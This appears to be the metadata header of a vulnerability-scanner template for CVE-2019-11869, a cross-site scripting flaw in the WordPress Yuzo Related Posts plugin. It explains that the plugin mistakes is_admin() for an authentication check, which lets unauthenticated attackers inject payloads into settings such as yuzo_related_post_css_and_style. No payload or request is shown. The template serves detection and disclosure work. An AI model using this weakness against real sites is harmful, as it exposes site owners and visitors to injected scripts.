id: CVE-2019-11869
info:
name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
author: ganofins
severity: medium
description: |
WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
because it mistakenly expects that is_admin() verifies that the
request comes from an admin user (it actually only verifies that the
request is for an admin page). An unauthenticated attacker can consequently inject
a payload into the plugin settings, such as the
yuzo_related_post_css_and_style setting.
